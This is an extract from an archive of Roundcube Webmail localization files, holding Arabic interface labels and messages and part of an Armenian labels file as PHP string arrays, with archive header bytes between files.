$labels['jobtitle'] = 'المسمى الوظيفي';
$labels['department'] = 'الإدارة';
$labels['gender'] = 'الجنس';
$labels['maidenname'] = 'إسم الزواج';
$labels['email'] = 'البريد الإلكتروني';
$labels['phone'] = 'الهاتف';
$labels['address'] = 'العنوان';
$labels['street'] = 'الشارع';
$labels['locality'] = 'المدينة';
$labels['zipcode'] = 'الرمز البريدي';
$labels['region'] = 'المنطقة';
$labels['country'] = 'الدولة';
$labels['birthday'] = 'تاريخ الميلاد';
$labels['anniversary'] = 'المناسبة السنوية';
$labels['website'] = 'الموقع';
$labels['instantmessenger'] = 'IM';
$labels['notes'] = 'ملاحظات';
$labels['male'] = 'ذكر';
$labels['female'] = 'أنثى';
$labels['manager'] = 'مدير';
$labels['assistant'] = 'المساعد';
$labels['spouse'] = 'زوجة';
$labels['allfields'] = 'جميع الحقول';
$labels['search'] = 'بحث';
$labels['searchresult'] = 'نتيجة البحث';
$labels['advsearch'] = 'بحث متقدم';
$labels['advanced'] = 'مُتقدم';
$labels['other'] = 'آخر';
$labels['typehome'] = 'المنزل';
$labels['typework'] = 'العمل';
$labels['typeother'] = 'آخر';
$labels['typemobile'] = 'المحمول';
$labels['typemain'] = 'الرئيسي';
$labels['typehomefax'] = 'فاكس المنزل';
$labels['typeworkfax'] = 'فاكس العمل';
$labels['typecar'] = 'السيارة';
$labels['typepager'] = 'الرنان';
$labels['typevideo'] = 'الفيديو';
$labels['typeassistant'] = 'المساعد';
$labels['typehomepage'] = 'الرئيسية';
$labels['typeblog'] = 'المدوّنة';
$labels['typeprofile'] = 'الملف الشخصي';
$labels['addfield'] = 'إضافة حقل...';
$labels['addcontact'] = 'إضافة مراسل';
$labels['editcontact'] = 'تحرير بيانات المراسل';
$labels['contacts'] = 'المراسلين';
$labels['contactproperties'] = 'خواص جهة الإتصال';
$labels['contactnameandorg'] = 'الإسم و المنظمة';
$labels['personalinfo'] = 'المعلومات الشخصية';
$labels['contactphoto'] = 'صورة المُراسِل';
$labels['edit'] = 'تحرير';
$labels['cancel'] = 'إلغاء';
$labels['save'] = 'حفظ';
$labels['delete'] = 'حذف';
$labels['continue'] = 'المواصلة';
$labels['rename'] = 'إعادة التسمية';
$labels['addphoto'] = 'إضافة';
$labels['replacephoto'] = 'استبدال';
$labels['uploadphoto'] = 'ارفع صورة';
$labels['choosefile'] = 'اختر ملفا...';
$labels['choosefiles'] = 'اختر ملفات...';
$labels['newcontact'] = 'إنشاء مراسل جديد';
$labels['deletecontact'] = 'حذف المراسلين المحددين';
$labels['composeto'] = 'إنشاء رسالة إليه';
$labels['contactsfromto'] = 'المراسلون $from إلى $to من $count';
$labels['print'] = 'طباعة';
$labels['export'] = 'تصدير';
$labels['exportvcards'] = 'صدّر المراسلين بنسق vCard';
$labels['newgroup'] = 'إنشاء فريق جديد';
$labels['grouprename'] = 'تغيير اسم المجموعة';
$labels['groupdelete'] = 'حذف المجموعة';
$labels['groupremoveselected'] = 'حذف العنوان المختار من المجموعة';
$labels['previouspage'] = 'عرض المجموعة السابقة';
$labels['firstpage'] = 'عرض المجموعة الأولى';
$labels['nextpage'] = 'عرض المجموعة التالية';
$labels['lastpage'] = 'عرض المجموعة الأخيرة';
$labels['group'] = 'مجموعة';
$labels['groups'] = 'المجموعات';
$labels['personaladrbook'] = 'العناوين الشخصية';
$labels['searchsave'] = 'حفظ البحث';
$labels['searchdelete'] = 'حذف البحث';
$labels['import'] = 'استورد';
$labels['importcontacts'] = 'استورد المراسلين';
$labels['importreplace'] = 'استبدل دفتر العناوين بأكمله';
$labels['done'] = 'تم';
$labels['settingsfor'] = 'إعدادات';
$labels['about'] = 'نبذة';
$labels['preferences'] = 'التفضيلات';
$labels['userpreferences'] = 'تفضيلات المستخدم';
$labels['editpreferences'] = 'تحرير تفضيلات المستخدم';
$labels['identities'] = 'الهويات';
$labels['manageidentities'] = 'إدارة الهويات';
$labels['newidentity'] = 'إضافة هوية جديدة';
$labels['addidentity'] = 'إضافة هوية';
$labels['editidentity'] = 'تعديل الهوية';
$labels['identityencryption'] = 'التشفير';
$labels['preferhtml'] = 'تفضيل صيغة HTML';
$labels['defaultcharset'] = 'ترميز المحارف الافتراضي';
$labels['htmlmessage'] = 'رسالة بنسق HTML';
$labels['digitalsig'] = 'التوقيع الرقمي';
$labels['dateformat'] = 'نسق التاريخ';
$labels['timeformat'] = 'نسق الوقت';
$labels['prettydate'] = 'تواريخ منمقة';
$labels['setdefault'] = 'تعيين كإفتراضي';
$labels['autodetect'] = 'آلي';
$labels['language'] = 'اللغة';
$labels['timezone'] = 'المنطقة الزمنية';
$labels['pagesize'] = 'عدد الرسائل في الصفحة';
$labels['signature'] = 'التوقيع';
$labels['dstactive'] = 'التوقيت الصيفي';
$labels['showinextwin'] = 'فتح الرسالة فى نافذة جديدة';
$labels['composeextwin'] = 'أرسال عن طريق نافذة جديدة';
$labels['htmleditor'] = 'إنشاء رسائل بنسق HTML';
$labels['htmlonreply'] = 'حال الرد على الرسائل بصيغة HTML فقط';
$labels['htmlsignature'] = 'توقيع HTML';
$labels['previewpane'] = 'إظهار قسم المعاينة';
$labels['skin'] = 'شكل الواجهة';
$labels['logoutclear'] = 'إفراغ سلة المحذوفات عند الخروج';
$labels['logoutcompact'] = 'ضغط صندوق الوارد عن الخروج';
$labels['uisettings'] = 'واجهة المستخدم';
$labels['serversettings'] = 'إعدادات الخادم';
$labels['mailboxview'] = 'مظهر صندوق البريد';
$labels['mdnrequests'] = 'عند طلب إشعار استلام';
$labels['askuser'] = 'اسأل المستخدم';
$labels['autosend'] = 'أرسلها تلقائياً';
$labels['autosendknown'] = 'أرسل إشعار استلام إلى جهات اتصالي، وإلااسألني';
$labels['autosendknownignore'] = 'أرسل إشعار استلام إلى جهات اتصالي، وإلاتجاهل الأمر';
$labels['ignorerequest'] = 'تجاهُل الطلب';
$labels['readwhendeleted'] = 'تحديد الرسالة كمقروءة عند حذفها';
$labels['flagfordeletion'] = 'وضع علامة على الرسالة لحذفها بدلاً منحذفها';
$labels['skipdeleted'] = 'لا تظهر الرسائل المحذوفة';
$labels['deletealways'] = 'حذف الرسائل مباشرة، إن تعذر نقلها إلىالمهملات';
$labels['showremoteimages'] = 'إظهار الصور الخارجية المدمجة';
$labels['fromknownsenders'] = 'للمرسلين المعلومين';
$labels['always'] = 'دائماً';
$labels['showinlineimages'] = 'إظهار الصّور المرفقة أسفل الرسالة';
$labels['autosavedraft'] = 'حفظ المسودة تلقائياً';
$labels['everynminutes'] = 'كل $n دقيقة';
$labels['never'] = 'أبداً';
$labels['immediately'] = 'حالاً';
$labels['messagesdisplaying'] = 'إظهار الرسائل';
$labels['messagescomposition'] = 'إنشاء الرسائل';
$labels['mimeparamfolding'] = 'أسماء الملفات المرفقة';
$labels['2231folding'] = 'RFC 2231 بأكملها (ثندربيرد)';
$labels['miscfolding'] = 'RFC 2047/2231 (ميكروسوفت آوتلوك)';
$labels['2047folding'] = 'RFC 2047 بأكملها (غيرها)';
$labels['force7bit'] = 'استخدام ترميز MIME للحروف ذات الثمانيةبتّات';
$labels['advancedoptions'] = 'خيارات متقدّمة';
$labels['focusonnewmessage'] = 'التركيز على نافذة المتصفح عند وجود رسالةجديدة';
$labels['checkallfolders'] = 'التحقق من وجود رسائل جديدة في جميعالمجلدات';
$labels['mainoptions'] = 'الخيارات الأساسية';
$labels['browseroptions'] = 'خيارات المتصفح';
$labels['section'] = 'قسم';
$labels['maintenance'] = 'الصيانة';
$labels['newmessage'] = 'رسالة جديدة';
$labels['signatureoptions'] = 'خيارات التوقيع';
$labels['whenreplying'] = 'عند الرد';
$labels['replytopposting'] = 'بدء رسالة جديدة ووضع النص أعلى الأصلية';
$labels['replybottomposting'] = 'بدء رسالة جديدة ووضع النص أسفل الأصلية';
$labels['replyremovesignature'] = 'إزالة التوقيع من الرسالة عند الرد';
$labels['autoaddsignature'] = 'إضافة التوقيع آلياً';
$labels['newmessageonly'] = 'الرسالة الجديدة فقط';
$labels['replyandforwardonly'] = 'الردود والتمريرات فقط';
$labels['insertsignature'] = 'إضافة التوقيع';
$labels['afternseconds'] = 'بعد $n ثواني';
$labels['reqmdn'] = 'طلب إشعار استلام دائماً';
$labels['reqdsn'] = 'طلب تنويه لحالة التوصيل دائماً';
$labels['replysamefolder'] = 'وضع الردود في المجلد الذي يحوي الرسالةالمردود عليها';
$labels['defaultabook'] = 'دفتر العناوين الافتراضي';
$labels['autocompletesingle'] = 'تجاهل عنوان البريد الإلكتروني البديل فيالتكملة التلقائية';
$labels['spellcheckbeforesend'] = 'تحقق من الإملاء قبل إرسال الرسائل';
$labels['spellcheckoptions'] = 'خيارات التدقيق الإملاءي';
$labels['spellcheckignoresyms'] = 'تجاهل الكلمات التي تحتوي رموز';
$labels['spellcheckignorenums'] = 'تجاهل الكلمات التي تحتوي أرقام';
$labels['spellcheckignorecaps'] = 'تجاهل الكلمات التي بها أحرف كبيرة';
$labels['addtodict'] = 'إضافة إلى القامس';
$labels['asattachment'] = 'كـ مرفق ';
$labels['allmessages'] = 'كافة الرسائل';
$labels['folder'] = 'مجلد';
$labels['folders'] = 'مجلدات';
$labels['foldername'] = 'اسم المجلد';
$labels['subscribed'] = 'مشترك';
$labels['messagecount'] = 'الرسائل';
$labels['create'] = 'أنشئ';
$labels['createfolder'] = 'أنشئ مجلد جديد';
$labels['managefolders'] = 'إدارة المجلدات';
$labels['specialfolders'] = 'المجلّدات المُميّزة';
$labels['properties'] = 'الخواص';
$labels['folderproperties'] = 'خواص المجلد';
$labels['parentfolder'] = 'المجلد الحاوي';
$labels['location'] = 'الموضع';
$labels['info'] = 'معلومات';
$labels['getfoldersize'] = 'اضغط لمعرفة حجم المجلد';
$labels['changesubscription'] = 'اضغط لتغيير حالة الإشتراك';
$labels['foldertype'] = 'نوع المجلد';
$labels['personalfolder'] = 'مجلد خاص';
$labels['otherfolder'] = 'مجلد مستخدم آخر';
$labels['sharedfolder'] = 'مجلد عام';
$labels['findfolders'] = 'البحث عن مجلدات';
$labels['findmail'] = 'البحث عن رسائل إلكترونية';
$labels['namespace.other'] = 'المستخدِمون الآخرون';
$labels['dualusemail'] = 'الرسائل';
$labels['dualusefolder'] = 'المجلدات';
$labels['generate'] = 'توليد';
$labels['encryptioncreatekey'] = 'إنشاء زوج مِن المفاتيح';
$labels['encryption'] = 'التشفير';
$labels['sortby'] = 'ترتيب بحسب';
$labels['sortasc'] = 'ترتيب تصاعدي';
$labels['sortdesc'] = 'ترتيب تنازلي';
$labels['undo'] = 'تراجع';
$labels['installedplugins'] = 'الإضافات المثبّتة';
$labels['plugin'] = 'إضافة';
$labels['version'] = 'النسخة';
$labels['source'] = 'المصدر';
$labels['license'] = 'الترخيص';
$labels['support'] = 'احصل على الدعم الفني';
$labels['dateformatY'] = 'YYYY';
$labels['dateformaty'] = 'YY';
$labels['dateformatm'] = 'MM';
$labels['dateformatd'] = 'DD';
$labels['dateformatj'] = 'D';
$labels['dateformatn'] = 'M';
$labels['B'] = 'ب';
$labels['KB'] = 'ك.ب';
$labels['MB'] = 'م.ب';
$labels['GB'] = 'ج.ب';
$labels['unicode'] = 'يونيكود';
$labels['english'] = 'الإنجليزية';
$labels['westerneuropean'] = 'الغرب أوروبية';
$labels['easterneuropean'] = 'الشرق أوروبية';
$labels['southeasterneuropean'] = 'الجنوب شرق أوروبية';
$labels['baltic'] = 'البلطيقية';
$labels['cyrillic'] = 'الكيريلية';
$labels['arabic'] = 'العربية';
$labels['greek'] = 'اليونانية';
$labels['hebrew'] = 'العبرية';
$labels['turkish'] = 'التركية';
$labels['nordic'] = 'النرويجية';
$labels['thai'] = 'التايلندية';
$labels['celtic'] = 'الكلتية';
$labels['vietnamese'] = 'الفيتنامية';
$labels['japanese'] = 'اليابانية';
$labels['korean'] = 'الكورية';
$labels['chinese'] = 'الصينية';
$labels['arialabelmailpreviewframe'] = 'معاينة الرسالة';
$labels['arialabelmessagebody'] = 'عرض الرسالة';
$labels['arialabelmessageheaders'] = 'رأسيات الرسالة';
$labels['arialabelmailtomenu'] = 'خيارات عنوان البريد الإلكتروني';
$labels['arialabelimagetools'] = 'الأدوات الخاصة بالصُوَر';
PK
h�\A
0
0$program/localization/ar/messages.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/messages/
*/

$messages['errortitle']  = 'طرأ هناك خطأ !';
$messages['loginfailed']  = 'فشل تسجيل الدخول';
$messages['cookiesdisabled'] = 'المتصفح الخاص بك لا يقبل الكوكيز';
$messages['sessionerror'] = 'انتهت صلاحية الجلسة الحالية أو أنها غيرصالحة';
$messages['storageerror'] = 'فشل الاتصال بخادم IMAP';
$messages['servererror'] = 'خطأ في الخادم!';
$messages['servererrormsg'] = 'خطأ خادم: $msg';
$messages['dberror'] = 'خطأ في قاعدة البيانات!';
$messages['errorreadonly'] = 'تعذر تنفيذ العملية. المجلد للقراءة فقط.';
$messages['errornoperm'] = 'تعذر تنفيذ العملية. ليست لديك الصلاحية.';
$messages['invalidrequest'] = 'طلب غير صالح! لم تحفظ أية بيانات.';
$messages['invalidhost'] = 'إسم الخادوم خاطئ.';
$messages['nomessagesfound'] = 'لم يعثر على أية رسائل في صندوق البريد هذا';
$messages['mailboxempty'] = 'علبة البريد فارغة';
$messages['nomessages'] = 'ليس هناك أية رسالة';
$messages['refreshing'] = 'عملية التحديث جارية …';
$messages['loading'] = 'جاري العمل...';
$messages['uploading'] = 'جاري رفع الملف...';
$messages['attaching'] = 'عملية إرفاق الملف جارية …';
$messages['uploadingmany'] = 'جاري تحميل الملفات...';
$messages['loadingdata'] = 'تحميل البيانات...';
$messages['checkingmail'] = 'التحقق من وجود رسائل جديدة...';
$messages['sendingmessage'] = 'إرسال الرسالة...';
$messages['messagesent'] = 'تم إرسال الرسالة بنجاح';
$messages['savingmessage'] = 'حفظ الرسالة...';
$messages['messagesaved'] = 'تم حفظ الرسالة في المسودات';
$messages['successfullysaved'] = 'تم الحفظ بنجاح';
$messages['addedsuccessfully'] = 'تمت إضافة المراسل إلى دفتر العناوينبنجاح';
$messages['contactnameexists'] = 'هناك مُرسال له نفس الإسم موجود مسبقاً.';
$messages['blockedimages'] = 'لحماية خصوصيتك، تم حجب الصور الغير مضمنة(البعيدة) في هذه الرسالة.';
$messages['encryptedmessage'] = 'هذه الرسالة مشفرة ولا يمكن عرضها. عذراً!';
$messages['nocontactsfound'] = 'لم يعثر على أي مراسل';
$messages['contactnotfound'] = 'تعذر العثور على المراسل المطلوب';
$messages['sendingfailed'] = 'فشل إرسال الرسالة';
$messages['senttooquickly'] = 'رجاء انتظر $sec ثوان قبل إرسال هذه الرسالة';
$messages['errormoving'] = 'تعذر نقل هذه الرسالة';
$messages['errorcopying'] = 'تعذر نسخ الرسائل';
$messages['errordeleting'] = 'تعذر حذف هذه الرسالة';
$messages['errormarking'] = 'تعذر تحديد الرسائل';
$messages['confirmationtitle'] = 'هل أنت متأكد …';
$messages['deletecontactconfirm']  = 'هل تريد حقاً حذف المراسلـ(ين) المحدد(ين)؟';
$messages['deletegroupconfirm']  = 'هل تريد فعلاً حذف المجموعة المحددة؟';
$messages['deletemessagesconfirm'] = 'هل تريد حذف الرسائل المحددة؟';
$messages['deletefolderconfirm']  = 'هل تريد حقاً حذف هذا المجلد؟';
$messages['purgefolderconfirm']  = 'هل تريد حقاً حذف جميع الرسائل في هذاالمجلد؟';
$messages['contactdeleting'] = 'جاري حذف المُراسلين...';
$messages['groupdeleting'] = 'جاري حذف المجموعة...';
$messages['folderdeleting'] = 'جاري حذف المجلد...';
$messages['foldermoving'] = 'جاري نقل المجلد...';
$messages['foldersubscribing'] = 'الإشتراك في المجلد...';
$messages['folderunsubscribing'] = 'إلغاء الإشتراك في المجد...';
$messages['formincomplete'] = 'لم يتم تعبئة بيانات الاستمارة بالكامل';
$messages['noemailwarning'] = 'الرجاء إدخال عنوان بريد إلكتروني صالح';
$messages['nonamewarning']  = 'الرجاء إدخال اسم';
$messages['nopagesizewarning'] = 'الرجاء إدخال حجم الصفحة';
$messages['norecipientwarning'] = 'الرجاء إدخال اسم مستقبل واحد على الأقل';
$messages['nosubjectwarning']  = 'حقل "الموضوع" فارغ. هل تريد كتابة موضوعللرسالة؟';
$messages['nosubjecttitle']  = 'بدون موضوع';
$messages['nobodywarning'] = 'إرسال هذه الرسالة دون نص؟';
$messages['nosearchname'] = 'الرجاء إدخال اسم مراسل أو عنوان بريدإلكتروني';
$messages['notuploadedwarning'] = 'لم يتم رفع جميع المرفقات بعد. رجاءً الانتظار أو إلغاء عملية الرفع.';
$messages['searchsuccessful'] = 'عثر على $nr رسائل';
$messages['contactsearchsuccessful'] = 'عُثر على $nr مُراسَل';
$messages['searchnomatch'] = 'لم يعثر على شيء';
$messages['searching'] = 'جاري البحث...';
$messages['checking'] = 'جاري التحقق...';
$messages['nospellerrors'] = 'لم يعثر على أية أخطاء إملائية';
$messages['folderdeleted'] = 'تم حذف المجلد بنجاح';
$messages['foldersubscribed'] = 'تم الإشتراك في المجلد بنجاح';
$messages['folderunsubscribed'] = 'تم إلغاء الإشتراك في المجلد بنجاح';
$messages['deletedsuccessfully'] = 'تم الحذف بنجاح';
$messages['converting'] = 'إزالة التنسيق من الرسالة...';
$messages['messageopenerror'] = 'تعذرت قراءة الرسالة من الخادم';
$messages['fileuploaderror'] = 'فشل رفع الملف';
$messages['filesizeerror'] = 'حجم الملف الذي تحاول رفعه أكبر من الحجمالأقصى $size';
$messages['sourceisreadonly'] = 'لا يمكن تعديل مصدر العنوان هذا';
$messages['errorsavingcontact'] = 'تعذر حفظ عنوان المراسل';
$messages['movingmessage'] = 'جاري نقل الرسالة...';
$messages['copyingmessage'] = 'جاري نسخ الرسالة...';
$messages['copyingcontact'] = 'جاري نسخ المُراسلين...';
$messages['deletingmessage'] = 'جاري حذف الرسائل...';
$messages['markingmessage'] = 'جاري تحديد الرسائل...';
$messages['addingmember'] = 'جاري إضافة المُراسلين إلى المجموعة...';
$messages['removingmember'] = 'جاري إزالة المراسلين من المجموعة...';
$messages['receiptsent'] = 'أرسل إيصال الاستلام بنجاح';
$messages['errorsendingreceipt'] = 'تعذر إرسال إيصال الاستلام';
$messages['deleteidentityconfirm'] = 'هل تريد حقا حذف هذه الهوية ؟';
$messages['nodeletelastidentity'] = 'لا يمكن حذف هذا السجل حيث أنه الوحيدالمتبقي.';
$messages['forbiddencharacter'] = 'اسم المجلّد يحتوي حروفاً ممنوعة';
$messages['selectimportfile'] = 'رجاء اختر ملفاً لرفعه';
$messages['addresswriterror'] = 'دفتر العناوين المحدد غير قابل للكتابة';
$messages['contactaddedtogroup'] = 'تمت إضافة المراسلين إلى هذه المجموعةبنجاح';
$messages['contactremovedfromgroup'] = 'تمت إزالة المراسلين من هذه المجموعةبنجاح';
$messages['importwait'] = 'جاري الاستيراد، رجاء انتظر...';
$messages['importconfirm'] = '<b>تم استيراد $inserted مراسلين بنجاح، وتجاهل$skipped موجودين مسبقاً</b>:<p><em>$names</em></p>';
$messages['importconfirmskipped'] = '<b>تم تجاهل $skipped عناصر موجودة</b>';
$messages['opnotpermitted'] = 'العملية ممنوعة!';
$messages['httpreceivedencrypterror'] = 'حدث خطأ جسيم في التهيئة. رجاءً اتصال بمدير الخادم حالاً. <b>لا يمكن إرسال بريدك.</b>';
$messages['smtpconnerror'] = 'خطأ SMTP ($code): تعذر الاتصال بالخادم';
$messages['smtpautherror'] = 'خطأ SMTP ($code): تعذر التحقق من هويتك';
$messages['smtpfromerror'] = 'خطأ SMTP ($code): تعذر تحديد المرسل "$from" ($msg)';
$messages['smtptoerror'] = 'خطأ SMTP ($code): تعذرت إضافة المستلم "$to" ($msg)';
$messages['smtprecipientserror'] = 'خطأ SMTP: تعذرت قراءة قائمة المرسل إليهم';
$messages['smtperror'] = 'خطأ SMTP: $msg';
$messages['toomanyrecipients'] = 'عدد المرسل إليهم كبير. قلص العدد إلى $max.';
$messages['maxgroupmembersreached'] = 'عدد أعضاء المجموعة أكثر من $max';
$messages['contactdelerror'] = 'تعذر حذف أسماء جهات الإتصال';
$messages['contactdeleted'] = 'تم حذف أسماء جهات الإتصال بنجاح';
$messages['contactrestoreerror'] = 'تعذر استعادة المُراسل المحذوف.';
$messages['contactrestored'] = 'تم استعادة المُراسل بنجاح.';
$messages['groupdeleted'] = 'تم حذف المجموعة بنجاح';
$messages['grouprenamed'] = 'تم تغيير إسم المجموعة بنجاح';
$messages['groupcreated'] = 'تم إنشاء المجموعة بنجاح';
$messages['savedsearchdeleted'] = 'تم بنجاح حذف البحث المحفوظ.';
$messages['savedsearchdeleteerror'] = 'تعذر حذف البحث المحفوظ';
$messages['savedsearchcreated'] = 'تم بنجاح إنشاء البحث المحفوظ.';
$messages['savedsearchcreateerror'] = 'تعذر إنشاء بحث محفوظ.';
$messages['messagedeleted'] = 'تم حذف الرسائل بنجاح';
$messages['messagemoved'] = 'تم نقل الرسائل بنجاح';
$messages['messagecopied'] = 'تم نسخ الرسائل بنجاح';
$messages['messagemarked'] = 'تم تحديد الرسائل بنجاح';
$messages['autocompletechars'] = 'إكتب $min أحرف على الأقل للحصول على التكملةالتلقائية';
$messages['autocompletemore'] = 'هناك المزيد من النتائج المطابقة. رجاءاكتب كلمات بحث أكثر.';
$messages['namecannotbeempty'] = 'لا يمكن ترك الإسم فارغاً';
$messages['nametoolong'] = 'الإسم طويل جداً';
$messages['folderupdated'] = 'تم تحديث المجلد بنجاح';
$messages['foldercreated'] = 'تم إنشاء المجلد بنجاح';
$messages['invalidimageformat'] = 'ليست صيغة صورة صحيحة';
$messages['mispellingsfound'] = 'عُثر على أخطاء إملائية في الرسالة';
$messages['parentnotwritable'] = 'تعذر إنشاء/نقل المجلد إلى المجلد المحدد.ليست لديك الصلاحية.';
$messages['messagetoobig'] = 'جزء الرسالة أكبر بكثير مما يمكن معالجته.';
$messages['errfailedrequest'] = 'فَشِل الطلب';
$messages['errauthorizationfailed'] = 'فَشِلت عملية المُصادقة';
$messages['errcontactserveradmin'] = 'يُرجى الإتصال بمدير الخادوم.';
$messages['listempty'] = 'إنّ القائمة فارغة.';
PK
h�\�
��d�d%program/localization/hy_AM/labels.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/labels/
*/


$labels['welcome'] = 'Բարի գալուստ $product';
$labels['username'] = 'Օգտվող';
$labels['password'] = 'Գաղտնաբառ';
$labels['server'] = 'Սերվեր';
$labels['login'] = 'Մուտք';
$labels['logout'] = 'Ելք';
$labels['mail'] = 'Էլ–փոստ';
$labels['settings'] = 'Նախասիրություններ';
$labels['addressbook'] = 'Հասցեներ';
$labels['inbox'] = 'Փոստարկղ';
$labels['drafts'] = 'Սևագրեր';
$labels['sent'] = 'Ուղարկված';
$labels['trash'] = 'Աղբարկղ';
$labels['junk'] = 'Թափոն';
$labels['subject'] = 'Վերնագիր';
$labels['from'] = 'Ուղարկող';
$labels['sender'] = 'Ուղարկող';
$labels['to'] = 'Ստացող';
$labels['cc'] = 'Cc';
$labels['bcc'] = 'Bcc';
$labels['replyto'] = 'Reply-To';
$labels['followupto'] = 'Ի հավելում';
$labels['date'] = 'Ամսաթիվ';
$labels['size'] = 'Չափ';
$labels['priority'] = 'Առավելություն';
$labels['organization'] = 'Կազմակերպություն';
$labels['readstatus'] = 'Ընթերցման կարգավիճակ';
$labels['listoptions'] = 'Ցուցակի ընտրանքներ…';
$labels['mailboxlist'] = 'Դարակներ';
$labels['messagesfromto'] = 'Նամակներ $from–ից $to–ը եղած $count–ից';
$labels['threadsfromto'] = 'Թեմաներ $from-ից $to ընդհանուր $count-ից';
$labels['messagenrof'] = 'Նամակ $nr եղած $count–ից';
$labels['fromtoshort'] = '$from-ից $to ընդհանուր $count-ից';
$labels['copy'] = 'Cc';
$labels['move'] = 'Տեղափոխել';
$labels['moveto'] = 'Տեղափոխել...';
$labels['download'] = 'Ներբեռնել';
$labels['open'] = 'Բաց';
$labels['showattachment'] = 'Ցուցադրել';
$labels['showanyway'] = 'Ամեն դեպքում ցուցադրել';
$labels['filename'] = 'Ֆայլի անուն';
$labels['filesize'] = 'Ֆայլի չափ';
$labels['addtoaddressbook'] = 'Հիշել հասցեն';
$labels['sun'] = 'Կիր';
$labels['mon'] = 'Երկ';
$labels['tue'] = 'Երք';
$labels['wed'] = 'Չրք';
$labels['thu'] = 'Հնգ';
$labels['fri'] = 'Ուրբ';
$labels['sat'] = 'Շբթ';
$labels['sunday'] = 'Կիրակի';
$labels['monday'] = 'Երկուշաբթի';
$labels['tuesday'] = 'Երեքշաբթի';
$labels['wednesday'] = 'Չորեքշաբթի';
$labels['thursday'] = 'Հինգշաբթի';
$labels['friday'] = 'Ուրբաթ';
$labels['saturday'] = 'Շաբաթ';
$labels['jan'] = 'Հնվ';
$labels['feb'] = 'Փետ';
$labels['mar'] = 'Մար';
$labels['apr'] = 'Ապր';
$labels['may'] = 'Մայիս';
$labels['jun'] = 'Հուս';
$labels['jul'] = 'Հուլ';
$labels['aug'] = 'Օգս';
$labels['sep'] = 'Սեպ';
$labels['oct'] = 'Հոկ';
$labels['nov'] = 'Նոյ';
$labels['dec'] = 'Դեկ';
$labels['longjan'] = 'Հունվար';
$labels['longfeb'] = 'Փետրվար';
$labels['longmar'] = 'Մարտ';
$labels['longapr'] = 'Ապրիլ';
$labels['longmay'] = 'Մայիս';
$labels['longjun'] = 'Հունիս';
$labels['longjul'] = 'Հուլիս';
$labels['longaug'] = 'Օգոստոս';
$labels['longsep'] = 'Սեպտեմբեր';
$labels['longoct'] = 'Հոկտեմբեր';
$labels['longnov'] = 'Նոյեմբեր';
$labels['longdec'] = 'Դեկտեմբեր';
$labels['today'] = 'Այսօր';
$labels['refresh'] = 'Թարմացնել';
$labels['checkmail'] = 'Ստուգել նոր նամակները';
$labels['compose'] = 'Գրել նամակ';
$labels['writenewmessage'] = 'Նոր նամակ';
$labels['reply'] = 'Պատասխանել';
$labels['replytomessage'] = 'Պատասխանել նամակին';
$labels['replytoallmessage'] = 'Պատասխանել բոլորին';
$labels['replyall'] = 'Պատասխանել բոլորին';
$labels['replylist'] = 'Պատասխանել ցուցակին';
$labels['forward'] = 'Փոխանցել';
$labels['forwardinline'] = 'Փոխանցել նամակի մեջ';
$labels['forwardattachment'] = 'Փոխանցել կցված';
$labels['forwardmessage'] = 'Փոխանցել նամակը';
$labels['deletemessage'] = 'Ջնջել նամակը';
$labels['movemessagetotrash'] = 'Գցել աղբարկղը';
$labels['printmessage'] = 'Տպել';
$labels['previousmessage'] = 'Ցուցադրել նախորդ նամակը';
$labels['firstmessage'] = 'Ցուցադրել առաջին նամակը';
$labels['nextmessage'] = 'Ցուցադրել հաջորդ նամակը';
$labels['lastmessage'] = 'Ցուցադրել վերջին նամակը';
$labels['backtolist'] = 'Վերադառնալ նամակների ցուցակ';
$labels['viewsource'] = 'Ցուցադրել նամակի կոդը';
$labels['mark'] = 'Նշել';
$labels['markmessages'] = 'Նշել նամակները';
$labels['markread'] = 'որպես կարդացած';
$labels['markunread'] = 'որպես չկարդացած';
$labels['markflagged'] = 'որպես նշված';
$labels['markunflagged'] = 'որպես չնշված';
$labels['moreactions'] = 'Հավելյալ գործողություններ…';
$labels['more'] = 'Ավելին';
$labels['back'] = 'Ետ';
$labels['options'] = 'Ընտրանքներ';
$labels['select'] = 'Նշել';
$labels['all'] = 'Բոլորը';
$labels['none'] = 'Չնշել';
$labels['currpage'] = 'Առկա էջ';
$labels['isread'] = 'Ընթերցված';
$labels['unread'] = 'Չկարդացածը';
$labels['flagged'] = 'Նշված';
$labels['unanswered'] = 'Անպատասխան';
$labels['deleted'] = 'Ջնջված';
$labels['undeleted'] = 'Ջնջված չէ';
$labels['forwarded'] = 'Փոխանցված';
$labels['invert'] = 'Փոխատեղել';
$labels['filter'] = 'Զտիչ';
$labels['list'] = 'Ցուցակ';
$labels['threads'] = 'Թեմաներ';
$labels['expand-all'] = 'Ընդլայնել բոլորը';
$labels['expand-unread'] = 'Ընդլայնել չկարդացվածը';
$labels['collapse-all'] = 'Փլչել բոլորը';
$labels['threaded'] = 'Թեմավորված';
$labels['autoexpand_threads'] = 'Բաց անել թեմաները';
$labels['do_expand'] = 'բոլոր թեմաները';
$labels['expand_only_unread'] = 'միայն չկարդացված հաղորդագրություններով';
$labels['fromto'] = 'Ումից/Ում';
$labels['flag'] = 'Նշան';
$labels['attachment'] = 'Կցորդ';
$labels['nonesort'] = 'Չնշել';
$labels['sentdate'] = 'Ուղարկման ամսաթիվ';
$labels['arrival'] = 'Ստացման Ամսաթիվ';
$labels['asc'] = 'ըստ աճման';
$labels['desc'] = 'ըստ նվազման';
$labels['listcolumns'] = 'Ցուցակի սյունյակներ';
$labels['listsorting'] = 'Տեսակավորման սյունյակ';
$labels['listorder'] = 'Տեսակավորման կարգը';
$labels['listmode'] = 'Ցուցակով տեսքի տարբերակը';
$labels['layoutlist'] = 'Ցուցակ';
$labels['folderactions'] = 'Պանակի գործողություններ…';
$labels['compact'] = 'Սեղմել';
$labels['empty'] = 'Դատարկել';
